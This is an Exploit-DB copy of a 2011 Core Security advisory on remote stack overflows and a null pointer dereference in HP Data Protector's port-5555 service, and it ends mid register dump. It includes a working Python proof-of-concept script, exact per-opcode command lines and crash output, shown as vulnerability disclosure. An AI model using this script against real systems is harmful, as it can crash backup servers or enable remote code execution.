Exploit-DB #17458
Description: HP Data Protector 6.20 - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2011-06-29
Author: Core Security

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

  Core Security Technologies - Corelabs Advisory
       http://corelabs.coresecurity.com/

  Multiple vulnerabilities in HP Data Protector


1. *Advisory Information*

Title: Multiple vulnerabilities in HP Data Protector
Advisory ID: CORE-2011-0514
Advisory URL:
http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities
Date published: 2011-06-29
Date of last update: 2011-06-29
Vendors contacted: HP
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Remote stack overflow [CWE-120], Null pointer dereference
[CWE-476], Improper input validation [CWE-20]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2011-1865, CVE-2011-1514, CVE-2011-1515


3. *Vulnerability Description*

HP Data Protector [1] is an automated backup and recovery software for
single-server to enterprise environments. Multiple vulnerabilities have
been found in HP Data Protector that could allow a remote attacker to
execute arbitrary code and lead to denial of service conditions. The
vulnerabilities are triggered by sending a request to port 5555 of a
host running the "data protector inet" service, part of HP Data
Protector. The request has several parameters, including an opcode. By
sending requests with specially crafted parameters, the different bugs
can be triggered.


4. *Vulnerable packages*

   . HP OpenView Storage Data Protector v6.20 (running on Windows).
   . HP OpenView Storage Data Protector v6.11 (running on Windows).
   . HP OpenView Storage Data Protector v6.10 (running on Windows).
   . HP OpenView Storage Data Protector v6.00 (running on Windows).
   . Previous versions may be affected, but were not tested.


5. *Non-vulnerable packages*

   . No fixes are available at the time of publication.


6. *Vendor Information, Solutions and Workarounds*

HP has issued a security bulletin with document ID c02872182 [2]
available through HP Support Center at http://www.hp.com/go/HPSC.

The latest version of HP Data Protector is vulnerable to these issues.
HP has provided the following procedure to mitigate these vulnerabilities:

   1. Upgrade to Data Protector A.06.20 or subsequent.
   2. Enable encrypted control communication services on cell server and
all clients in cell.

 The upgrade is available for download from
http://hp.com/go/dataprotector then under 'Product Information' click on
'Trials and Demos'.


7. *Credits*

These vulnerabilities were discovered by Oren Isacson from Core Security
Technologies. Publication was coordinated by Carlos Sarraute.


8. *Technical Description / Proof of Concept Code*

The following python script can be used to reproduce the different bugs.

/-----
import struct, socket, sys

target        = sys.argv[1]
opcode        = sys.argv[2]
string_lenght = int(sys.argv[3])
args_number   = int(sys.argv[4])
long_argument = int(sys.argv[5])

def to_wc(x):
    return ''.join(["%s\x00" % c for c in x] )

args = [to_wc('a')] * args_number
args[5] = to_wc(opcode)
args[long_argument] = 'a' * string_lenght
packet = ["\xff\xfe\x32\x00\x00\x00"]

for s in args:
    packet.append("\x20\x00" + s + "\x00\x00")

packet = ''.join(packet)
packet = struct.pack(">L", len(packet)) + packet

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((target, 5555))
sock.send(packet)

- -----/


In the following sections, we give the command line details to reproduce
each bug, and a brief description of the effect produced.


8.1. *Vulnerability 1. Opcodes 20 y 28.*

[CVE-2011-1865] This vulnerability can be reproduced with any of the
following commands:
 "poc.py 127.0.0.1 20 10000 30 13" or "poc.py 127.0.0.1 28 10000 30 6"
 This causes a stack overflow.

/-----
007ce194 00426c52 007d0000 00810b48 007ce266 omniinet+0x26bf3
007ce1a8 00412a35 007ce22c 004aa900 0080edb0 omniinet+0x26c52
007cea3c [PII_REDACTED] [PII_REDACTED] omniinet+0x12a35
[PII_REDACTED] [PII_REDACTED] 00000000 0x61616161

- -----/



8.2. *Vulnerability 2. Opcode 11.*

[CVE-2011-1865] This vulnerability is reproduced with the following command:
 "poc.py 127.0.0.1 11 10000 30 17"
 A stack overflow is produced within the function swprintf, called from
position 0x00411A72.


8.3. *Vulnerability 3. Opcode 35.*

[CVE-2011-1865] This vulnerability can be reproduced with any of the
following commands:
 "poc.py 127.0.0.1 35 10000 30 6" or "poc.py 127.0.0.1 35 10000 30 7"
 A stack overflow is produced within the function swprintf, called from
position 0041367F.


8.4. *Vulnerability 4. Opcode 42.*

[CVE-2011-1865] This vulnerability is reproduced with the following command:
 "poc.py 127.0.0.1 42 10000 30 9"
 A stack overflow is produced by calling the function swprintf from
position 0x0040A9BA.


8.5. *Vulnerability 5. Opcode 46.*

[CVE-2011-1865] This vulnerability is reproduced with the following command:
 "poc.py 127.0.0.1 46 10000 30 17"
 A stack overflow is produced by calling the function swprintf from
position 0x0040A708.


8.6. *Vulnerability 6. Opcode 27.*

[CVE-2011-1865] This vulnerability is reproduced with the following command:
 "poc.py 127.0.0.1 27 10000 30 3"
 A stack overflow is produced by calling the function swprintf from
position 0x0040AD53.


8.7. *Vulnerabilidad 7. Opcode 17.*

[CVE-2011-1865] This vulnerability is reproduced with the following command:
 "poc.py 127.0.0.1 17 10000 30 6"
 A stack overflow is produced by calling the function swprintf from
position 0x0040FC05.


8.8. *Vulnerability 8. Opcode 11.*

[CVE-2011-1514] This vulnerability is reproduced with the following command:
 "poc.py 127.0.0.1 11 1 7 6"
 This causes a null pointer dereference.

/-----
eax=00000014 ebx=00156490 ecx=007cdd34 edx=007eecf0 esi=00156490
edi=00000000
eip=00407ed0 esp=007cdd34 ebp=007cdd8c iopl=0